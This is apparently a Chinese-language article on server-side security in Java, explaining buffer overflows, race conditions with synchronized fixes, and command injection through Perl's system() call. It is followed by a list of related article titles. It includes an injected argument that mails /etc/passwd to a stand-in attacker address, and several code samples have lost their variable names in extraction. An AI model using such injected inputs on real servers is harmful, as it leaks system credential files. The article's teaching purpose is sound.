一、概述

编写安全的

Internet

应用并不是一件轻而易举的事情:只要看看各个专业公告板就可以找到连续不断的安全漏洞报告。你如何保证自己的

Internet

应用不象其他人的应用那样满是漏洞?你如何保证自己的名字不会出现在令人难堪的重大安全事故报道中?

如果你使用

Java Servlet

JavaServer Pages(JSP)

或者

EJB

,许多难以解决的问题都已经事先解决。当然,漏洞仍有可能出现。下面我们就来看看这些漏洞是什么,以及为什么

Java

程序员不必担心部分

C

Perl

程序员必须面对的问题。

C

程序员对安全漏洞应该已经很熟悉,但象

OpenBSD

之类的工程提供了处理此类问题的安全系统。

Java

语言处理这类问题的经验要比

C

20

年,但另一方面,

Java

作为一种客户端编程语言诞生,客户端对安全的要求比服务器端苛刻得多。它意味着

Java

的发展有着一个稳固的安全性基础。

Java

原先的定位目标是浏览器。然而,浏览器本身所带的

Java

虚拟机虽然很不错,但却并不完美。

Sun

的《

Chronology of security-related bugs and issues

》总结了运行时环境的漏洞发现历史。我们知道,当

Java

用作服务器端编程语言时,这些漏洞不可能被用作攻击手段。但即使

Java

作为客户端编程语言,重大安全问题的数量也从

1996

年的

6

(

其中

3

个是相当严重的问题

)

降低到

2000

年的

1

个。不过,这种安全性的相对提高并不意味着

Java

作为服务器端编程语言已经绝对安全,它只意味着攻击者能够使用的攻击手段越来越受到限制。那么,究竟有哪些地方容易受到攻击,其他编程语言又是如何面对类似问题的呢?

二、缓存溢出

C

程序中,缓存溢出是最常见的安全隐患。缓存溢出在用户输入超过已分配内存空间

(

专供用户输入使用

)

时出现。缓存溢出可能成为导致应用被覆盖的关键因素。

C

程序很容易出现缓存溢出,但

Java

程序几乎不可能出现缓存溢出。

从输入流读取输入数据的

C

代码通常如下所示:

char buffer[1000];

int len = read(buffer);

由于缓存的大小在读入数据之前确定,系统要检查为输入保留的缓存是否足够是很困难的。缓存溢出使得用户能够覆盖程序数据结构的关键部分,从而带来了安全上的隐患。有经验的攻击者能够利用这一点直接把代码和数据插入到正在运行的程序。

Java

中,我们一般用字符串而不是字符数组保存用户输入。与前面

C

代码等价的

Java

代码如下所示:

String buffer = in.readLine();

在这里,

缓存

的大小总是和输入内容的大小完全一致。由于

Java

字符串在创建之后不能改变,缓存溢出也就不可能出现。退一步说,即使用字符数组替代字符串作为缓存,

Java

也不象

C

那样容易产生可被攻击者利用的安全漏洞。例如,下面的

Java

代码将产生溢出:

char[] bad = new char[6];

bad[7] = 50;

这段代码总是抛出一个

java.lang.ArrayOutOfBoundsException

异常,而该异常可以由程序自行捕获:

try {

char[] bad = new char[6];

bad[7] = 50;

}

catch (ArrayOutOfBoundsException ex) {

... }

这种处理过程永远不会导致不可预料的行为。无论用什么方法溢出一个数组,我们总是得到

ArrayOutOfBoundsException

异常,而

Java

运行时底层环境却能够保护自身免受任何侵害。一般而言,用

Java

字符串类型处理字符串时,我们无需担心字符串的

ArrayOutOfBoundsExceptions

异常,因此它是一种较为理想的选择。

Java

编程模式从根本上改变了用户输入的处理方法,避免了输入缓存溢出,从而使得

Java

程序员摆脱了最危险的编程漏洞。

三、竞争状态

竞争状态即

Race Condition

,它是第二类最常见的应用安全漏洞。在创建

(

更改

)

资源到修改资源以禁止对资源访问的临界时刻,如果某个进程被允许访问资源,此时就会出现竞争状态。这里的关键问题在于:如果一个任务由两个必不可少的步骤构成,不管你多么想要让这两个步骤一个紧接着另一个执行,操作系统并不保证这一点。例如,在数据库中,事务机制使得两个独立的事件

原子化

。换言之,一个进程创建文件,然后把这个文件的权限改成禁止常规访问;与此同时,另外一个没有特权的进程可以处理该文件,欺骗有特权的进程错误地修改文件,或者在权限设置完毕之后仍继续对原文件进行访问。

一般地,在标准

Unix

NT

环境下,一些高优先级的进程能够把自己插入到任务的多个步骤之间,但这样的进程在

Java

服务器上是不存在的;同时,用纯

Java

编写的程序也不可能修改文件的许可权限。因此,大多数由文件访问导致的竞争状态在

Java

中不会出现,但这并不意味着

Java

完全地摆脱了这个问题,只不过是问题转到了虚拟机上。

我们来看看其他各种开发平台如何处理这个问题。在

Unix

中,我们必须确保默认文件创建模式是安全的,比如在服务器启动之前执行

“umask 200”

这个命令。有关

umask

的更多信息,请在

Unix

系统的命令行上执行

“man umask”

查看

umask

man

文档。

NT

环境中,我们必须操作

ACL(

访问控制表,

Access Control List)

的安全标记,保护要在它下面创建文件的目录。

NT

的新文件一般从它的父目录继承访问许可。请参见

NT

文档了解更多信息。

Java

中的竞争状态大多数时候出现在临界代码区。例如,在用户登录过程中,系统要生成一个唯一的数字作为用户会话的标识符。为此,系统先产生一个随机数字,然后在散列表之类的数据结构中检查这个数字是否已经被其他用户使用。如果这个数字没有被其他用户使用,则把它放入散列表以防止其他用户使用。代码如

Listing 1

所示:

(Listing 1)

//

保存已登录用户的

ID

Hashtable hash;

//

随机数字生成器

Random rand;

//

生成一个随机数字

Integer id = new Integer(rand.nextInt());

while (hash.containsKey(id))

{

id = new Integer(rand.nextInt());

}

//

为当前用户保留该

ID

hash.put(id, data);

Listing 1

的代码可能带来一个严重的问题:如果有两个线程执行

Listing 1

的代码,其中一个线程在

hash.put(...)

这行代码之前被重新调度,此时同一个随机

ID

就有可能被使用两次。在

Java

中,我们有两种方法解决这个问题。首先,

Listing 1

的代码可以改写成

Listing 2

的形式,确保只有一个线程能够执行关键代码段,防止线程重新调度,避免竞争状态的出现。第二,如果前面的代码是

EJB

服务器的一部分,我们最好有一个利用

EJB

服务器线程控制机制的唯一

ID

服务。

(Listing 2)

synchronized(hash)

{

//

生成一个唯一的随机数字

Integer id =

new Integer(rand.nextInt());

while (hash.containsKey(id))

{

id = new Integer(rand.nextInt());

}

//

为当前用户保留该

ID

hash.put(id, data);

}

四、字符串解释执行

在有些编程语言中,输入字符串中可以插入特殊的函数,欺骗服务器使其执行额外的、多余的动作。下面的

Perl

代码就是一个例子:

= "mail body";

system("/usr/sbin/sendmail -t < ");

显然,这些代码可以作为

CGI

程序的一部分,或者也可以从命令行调用。通常,它可以按照如下方式调用:

perl script.pl honest@true.com

它将把一个邮件

(

“mail body”)

发送给用户

honest@true.com

。这个例子虽然简单,但我们却可以按照如下方式进行攻击:

perl script.pl honest@true.com;mail

cheat@liarandthief.com < /etc/passwd

这个命令把一个空白邮件发送给

honest@true.com

,同时又把系统密码文件发送给了

cheat@liarandthief.com

。如果这些代码是

CGI

程序的一部分,它会给服务器的安全带来重大的威胁。

Perl

程序员常常用外部程序

(

比如

sendmail)

扩充

Perl

的功能,以避免用脚本来实现外部程序的功能。然而,

Java

有着相当完善的

API

。比如对于邮件发送,

JavaMail API

就是一个很好的

API

。但是,如果你比较懒惰,想用外部的邮件发送程序发送邮件:

Runtime.getRuntime().exec("/usr/sbin/sendmail -t < ");

事实上这是行不通的。

Java

一般不允许把

OS

“< ”

“;”

之类的构造符号作为

Runtime.exec()

的一部分。你可能会尝试用下面的方法解决这个问题:

Runtime.getRuntime().exec("sh /usr/sbin/sendmail -t < ");

但是,这种代码是不安全的,它把前面

Perl

代码面临的危险带入了

Java

程序。按照常规的

Java

方法解决问题有时看起来要比取巧的方法复杂一点,但它几乎总是具有更好的可移植性、可扩展性,而且更安全、错误更少。

java服务器必读_Java服务器端编程安全必读相关推荐

  1. java 银联支付_java服务器端移动银联支付的流程

    一,银联支付的整体流程 客户端提供服务器给服务器订单信息----服务器端拿到数据推送给银联指定的地址----银联给服务器端返回一个流水账号----服务器将流水账号返给客户端 ----客户端由于集成了银 ...

  2. java并发排它锁_Java并发编程进阶——锁(解析)

    一.锁是什么 java开发中进行并发编程时针对操作同一块区域时,如果不加锁会出现并发问题,数据不是自己预计得到的值.我觉得有点像mysql事务中脏读.不可重复读.幻读的问题.加锁的目的是为了保证同一时 ...

  3. java nio 客户端_Java网络编程:Netty框架学习(二)---Java NIO,实现简单的服务端客户端消息传输...

    概述 上篇中已经讲到Java中的NIO类库,Java中也称New IO,类库的目标就是要让Java支持非阻塞IO,基于这个原因,更多的人喜欢称Java NIO为非阻塞IO(Non-Block IO), ...

  4. java socket数据传输_Java Socket编程(一) Socket传输模式

    Java Socket编程(一) Socket传输模式 文章来源:ASPCN 作者:孙雯 Socket传输模式 Sockets有两种主要的操作方式:面向连接的和无连接的.面向连接的sockets操作就 ...

  5. 斗地主Java课程设计_JAVA面向对象编程课程设计——web版斗地主

    一.团队课程设计博客链接 二.个人负责模块或任务说明 实体类的设计 斗地主规则的实现 人机自动出牌的算法 实现数据库的DAO模式 三.自己的代码提交记录 注:这里只有部分提交记录,详细的提交记录在团队 ...

  6. java servlet jsp (服务器端编程)

    注:自动添加protected void service(HttpServletRequest request,HttpServletResponse response)throws ServletE ...

  7. java 并发统计_java并发编程|CountDownLatch计数器

    0x01,CountDownLatch介绍 CountDownLatch是一个计数器,作为java并发编程中三个组件之一,这个组件的使用频率还是很多的.这里分享下自己画的java并发编程组件的图,后面 ...

  8. java 并发队列_JAVA并发编程:阻塞队列BlockingQueue之SynchronousQueue

    前面在讲解Executors工厂创建可缓存线程的线程池(newCachedThreadPool)的时候有提到过SynchronousQueue队列,该线程池使用 SynchronousQueue 作为 ...

  9. java投票锁_Java并发编程锁之独占公平锁与非公平锁比较

    Java并发编程锁之独占公平锁与非公平锁比较 公平锁和非公平锁理解: 在上一篇文章中,我们知道了非公平锁.其实Java中还存在着公平锁呢.公平二字怎么理解呢?和我们现实理解是一样的.大家去排队本着先来 ...

  10. java 服务器操作系统_java获得当前服务器的操作系统是什么?怎么获得

    java获得当前服务器的操作系统是什么?怎么获得 (2013-10-13 22:30:53) 标签: 杂谈 import java.util.Properties; public class Test ...

最新文章

  1. 数据结构与算法:02 C#语言基本语法结构
  2. Python-anaconda-Spyder使用matplotlib画图无法显示报错解决:Figures now render in the Plots pane by default. To mak
  3. td里面字体大小怎么改_王者荣耀战区怎么改到其他地方 2020荣耀战区修改方法...
  4. Vue.js实现前段评论展示
  5. 正负相关 最大信息系数mic_求二项展开式中二项式系数最大项、系数最大项的问题...
  6. anjuta 连接mysql_ubuntu系统下如何实现C/C++开发环境搭建(IDE)
  7. 编程实战一通讯录程序
  8. abaqus 多层网格绑定_ABAQUS螺栓接触分析
  9. Go-json解码到结构体
  10. 【Java数据结构与算法】第二章 单链表及简单面试题
  11. LeetCode 1071. 字符串的最大公因子
  12. Python爬虫入门学习--中国大学排名
  13. 衬线字体和非衬线字体
  14. python Socket网络编程
  15. 数学建模竞赛代码及论文降重方法
  16. JS 阻止浮层弹窗下滚动
  17. 卡耐基梅陇大学计算机学院名人,卡内基梅隆大学_美国计算机专业排名前十
  18. solidworks齿轮编辑_如何应用solidworks进行齿轮工程图绘制
  19. 台式计算机怎么加一个硬盘,台式机加装一个机械硬盘图解 但建议直接在windows下...
  20. C语言之#include用法详解

热门文章

  1. 用DISKGEN恢复硬盘数据
  2. idea的数据库链接工具里看不到DDL
  3. myeclipse修改maven settings
  4. typedef struct 和 struct 的区别
  5. C# 让应用程序只运行一个实例
  6. 深入浅出分布式系统Raft协议
  7. 2602 最短路径问题
  8. 怎么维护 SQLite
  9. Activity初级:startActivityForResult、重写onActivityResult、setResult回传数据、requestCode请求码...
  10. 【转载】ESFramework介绍之(20)―― 插件自动升级